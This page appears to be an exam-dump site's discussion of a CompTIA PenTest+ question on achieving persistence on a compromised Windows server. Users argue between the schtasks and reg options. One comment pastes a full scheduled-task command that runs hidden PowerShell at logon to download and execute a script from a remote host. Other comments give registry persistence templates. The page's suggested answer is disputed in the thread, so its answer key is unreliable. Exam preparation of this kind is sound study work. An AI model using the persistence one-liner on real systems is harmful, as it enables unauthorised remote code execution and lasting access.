exam questions

Exam PT0-001 All Questions

View all questions & answers for the PT0-001 exam

Exam PT0-001 topic 1 question 3 discussion

Actual exam question from CompTIA's PT0-001
Question #: 3
Topic #: 1
[All PT0-001 Questions]

A penetration tester has compromised a Windows server and is attempting to achieve persistence. Which of the following would achieve that goal?

  • A. schtasks.exe /create/tr ג€powershell.exeג€ Sv.ps1 /run
  • B. net session server | dsquery -user | net use c$
  • C. powershell && set-executionpolicy unrestricted
  • D. reg save HKLM\System\CurrentControlSet\Services\Sv.reg
Show Suggested Answer Hide Answer
Suggested Answer: D 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
mr_robot
Highly Voted 5 years, 1 month ago
According to PenTest+ Practice Tests Book - SYBEX D. - reg save saves a copy of specified subkeys, entries, and values of the registry in a specified file. A file with the .reg file extension is a registration file used by the Windows Registry. These files can contain hives, keys, and values.
upvoted 6 times
D1960
5 years ago
What good is saving the registry entries, if you cannot restore them? If you lose your access to the system, how do you restore your access by restoring part of the registry?
upvoted 1 times
mr_robot
5 years ago
I agree with you however the command from schtasks is incomplete. For the attacker to maintain persistence during logon he would need to add the /sc onlogon switch to the command: https://rasor.wordpress.com/2013/08/12/powershell-scheduling-a-task/ For that reason, I think D would not the the best answer but the least incorrect: https://rasor.wordpress.com/2013/08/12/powershell-scheduling-a-task/ "HKLM\System\CurrentControlSet\services The keys located here get loaded by the Service Controller at various times during the operation of the computer. Some are loaded at system startup and others are loaded on demand or when triggered by other events. The attackers want to load at startup so that even if no user logs in they can connect to the computer."
upvoted 1 times
mr_robot
4 years, 10 months ago
Also, once you modify the registry you can add a dodgy service to be started at logon and maintain persistence to the device: https://threatvector.cylance.com/en_us/home/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services.html https://threatvector.cylance.com/en_us/home/windows-registry-persistence-part-2-the-run-keys-and-search-order.html
upvoted 1 times
mr_robot
4 years, 10 months ago
Best answer is A. You have to use "reg add" instead of "reg save" in order to add a new subkey or entry to the registry.
upvoted 2 times
khuno
4 years, 10 months ago
Examples reg add \\ABC\HKLM\Software\MyCo reg save HKLM\Software\MyCo\MyApp AppBkUp.hiv
upvoted 2 times
...
...
...
...
...
...
bigwilly69
Highly Voted 4 years, 5 months ago
the answer should be A, it is the first letter of the alphabet, and therefore it is the best.
upvoted 5 times
Mr_KiWi
3 years, 11 months ago
This is misleading.
upvoted 4 times
...
...
miabe
Most Recent 2 years, 10 months ago
Selected Answer: A
looks good to me
upvoted 1 times
...
contender
3 years, 5 months ago
You need to have a persistent connection even if the machine is rebooted. You cannot get with a scheduled task. Most of the commands in this dump are incomplete. No surprise there.
upvoted 2 times
Treebeard88
2 years, 5 months ago
In the Pearson book chapter 8 page 355 nearly the same statement was made right after the section on scheduled jobs and tasks.
upvoted 1 times
...
Genos_Sid
3 years, 3 months ago
In the Pentest+ book it says "unlike memory resident exploits, both scheduled tasks and cron jobs can survive reboots." Chapter 6 Exploit and Pivot page 200
upvoted 2 times
...
...
juandante
3 years, 5 months ago
The correct answer is either A, either D. For A, indeed, there are errors in the command, but if it is done right (first thing is to remove the "/run"), obviously anything can be written in the PowerShell script to achieve persistence. I would say A because the intention by the n00b to achieve persistence with the A is higher than the D, thanks to the errouneous "/run" switch. The A would be the most straight foward way to accomplish. Now the D, the problem is that saving the reg is useless. It would be better to add to the registry, and in consequence, I don't see any intention from the n00b writting the D command to want to achieve persistence, it would more be information gathering. If we follow the logic of "correcting" the answers, the C can be also a correct answer, by adding "&& Sv.ps1", altought this wouldn't work for multiple reasons. I would anwser A.
upvoted 2 times
...
staccata
3 years, 8 months ago
PenTest+ Practice Tests Book - SYBEX Many Q's are from Sybex Practise Tests Book.. Correct Answer is D from the book if you care..
upvoted 1 times
...
ken111
4 years, 1 month ago
The answer is D PowerShell Version 1 has only 129 Cmdlets and schtasks is not one of them https://social.technet.microsoft.com/wiki/contents/articles/13769.powershell-1-0-cmdlets.aspx
upvoted 3 times
...
TheThreatGuy
4 years, 4 months ago
None are correct. I assume there are some typos somewhere here, as well as missing info. For A to be correct, the command would be: schtasks /create /tn TASKNAME /tr PATHTOFILE /sc FREQUENCY /ru USERTORUNAS. For D to be correct, you cannot use the save command. The correct command would be: reg add "PATH-OF-REG-ENTRY" /v VALUE-TO-ADD /t REG_SZ /d "PATH_TO_EXECUTABLE_FOR_PERSISTENCE" So I would be prepared for both of those.
upvoted 5 times
Shinigami637
3 years, 8 months ago
I second this. Either can be correct on the exam, depending on the wording.
upvoted 1 times
...
...
toroloco
4 years, 6 months ago
in this link you will find a little more in depth info how to maintain persistence with HKLM\System\CurrentControlSet\Services just hit Ctrl f, and enter Tool Persistence in this link: https://blogs.blackberry.com/en/2013/08/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services
upvoted 1 times
...
Allen2020
4 years, 6 months ago
Correct answer is A. Scheduled Tasks :Attacker uses the Windows Task Scheduler to create callbacks and retain persistence.
upvoted 1 times
...
boblee
4 years, 10 months ago
The answer is A in this context. SYBEX is bad.
upvoted 2 times
...
DaDude
5 years ago
The schtasks is not complete, /run - this is an on demand (you would need to be on the machine to run this) if you lost connection you would not be able to run this again
upvoted 3 times
D1960
4 years, 11 months ago
But maybe you would not have to run it again? It depends on what the powershell script does.
upvoted 1 times
...
...
merdoso
5 years ago
Strange--- agree about A. The issue is that you could get persistance with both... but reg key like this is strange.
upvoted 1 times
...
phatboy
5 years, 5 months ago
Correct answer is A. https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/
upvoted 4 times
who__cares123456789___
4 years, 3 months ago
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
upvoted 1 times
...
Shinigami637
3 years, 8 months ago
I disagree. The best answer is D. The very link you posted shows it being created as a scheduled task using the /sc and /ru parameters. In this answer, though, it's not actually created as a scheduled task. Rather, it's something to be ran immediately (hence /run). The "spirit" of the question is to achieve persistence in the system; if you are to use the task scheduler to do this, you would want to set up a schedule to do something like a reverse shell. If you only run the powershell just once, it will no longer persist once the computer is restarted. That's why I believe the /run command eliminates answer A. For it to be viable, I think the /sc parameter should have been supplied (just like your answer.)
upvoted 1 times
MrRiver
3 years, 8 months ago
Answer D says "reg save" wich Saves an EXISTING registry Key to a File. Saving something that allready exists can't provide Persistance ... A machtes best alltough the answers is maybe incomplete ...
upvoted 1 times
Shinigami637
3 years, 8 months ago
You're right about this, and I take back my comment. I'm gonna echo what TheThreatGuy says above: be prepared for either A or D, as it could be either.
upvoted 1 times
...
...
...
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...
exam
Someone Bought Contributor Access for:
SY0-701
London, 1 minute ago